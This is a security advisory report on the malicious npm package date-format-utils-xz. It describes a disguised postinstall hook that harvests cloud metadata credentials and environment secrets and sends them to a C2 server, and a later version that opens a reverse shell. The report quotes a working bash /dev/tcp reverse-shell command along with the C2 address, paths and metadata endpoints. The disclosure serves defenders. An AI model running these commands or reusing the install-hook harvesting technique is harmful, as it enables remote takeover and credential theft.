date-format-utils-xz
This report shows the evidence for date-format-utils-xz@1.0.4. 5 of 5 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 3mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-11001 confirms this npm version as malicious.
Advisory
MAL-2026-11001
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in date-format-utils-xz (npm)
Details
The npm package `date-format-utils-xz` masquerades as a date-formatting utility but is malicious. Its own decoy `index.js` is prefaced with a Chinese comment translating to "disguised as a normal date formatting tool."
Every published version (1.0.0-1.0.4) declares a `postinstall` lifecycle hook (`postinstall: node postinstall.js`) that runs automatically on `npm install`, before the package is imported, and the payload escalated across releases.
Versions 1.0.0-1.0.3 are a cloud-metadata / environment harvester. The hook shells out with `curl` to the link-local cloud instance-metadata endpoints of the major providers -- Alibaba (100.100.100.200), AWS/GCP-style (169.254.169.254) and Tencent (metadata.tencentyun.com) -- to steal instance identity/roles and (on misconfigured instances) temporary cloud credentials, and runs `env` to dump the full process environment (CI secrets, cloud tokens, npm tokens). The data is exfiltrated by HTTP POST to an attacker-controlled C2 under paths /meta/ali, /meta/aws, /meta/tx, /meta/env (and /meta/all in 1.0.3); 1.0.0 is a lighter recon beacon (GET /pre?h={hostname}&u={user}). The C2 migrated from the domain `zhijiujiu.cn` (1.0.0, 1.0.1) to the hard-coded IP `8.135.48.40` port 80 (1.0.2, 1.0.3) -- a domain-to-IP move that evades DNS-based blocking.
Version 1.0.4 escalated to a full REVERSE SHELL: postinstall.js opens a TCP connection to 8.135.48.40:4444 via Node net.connect and pipes a spawned /bin/sh over the socket, with fallbacks to `bash -i >& /dev/tcp/8.135.48.40/4444 0>&1` and a python3 pty shell; failures beacon to /shell/failed and /shell/error. This is interactive remote code execution on any host that installs the package.
Shortly after publishing 1.0.4 the operator unpublished the entire package from npm (all versions removed from the registry). Detected and classified independently by codelake Research from the live npm feed on 2026-07-21; not present in OSV or GHSA at the time of reporting (a first-catch). Versions 1.0.0-1.0.3 were archived by codelake before the unpublish; 1.0.4 was recovered from a public registry mirror that still cached it.
---
## Source: amazon-inspector (4ed3237e0e3098910008ffa97c61cc346cdf252defb1f1ce8731316e4c394309) The package advertises itself as a date-formatting utility but ships a postinstall.js that runs automatically on npm install and performs unrelated host reconnaissance and credential harvesting. postinstall.js executes recon commands (hostname, whoami, id, env, ifconfig, ls /, /proc/1/cgroup) via execSync, then curls cloud instance-metadata endpoints at 169.254.169.254 for AWS, Aliyun, and Tencent Cloud — which on cloud VMs return temporary IAM/role credentials — and POSTs the aggregated JSON over plain HTTP to the hardcoded IP 8.135.48.40 at path /meta/all. A comment in index.js explicitly labels the package as disguised as a normal date-formatting tool, confirming the cover-story shape. The env dump additionally exposes CI/build secrets typically held in environment variables.
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to date-format-utils-xz@1.0.4.
The same advisory and Firewall decision cover 5 recorded versions
1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4
The versions list below shows the verdict for each recorded version.
- Avoid installing date-format-utils-xz@1.0.4. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.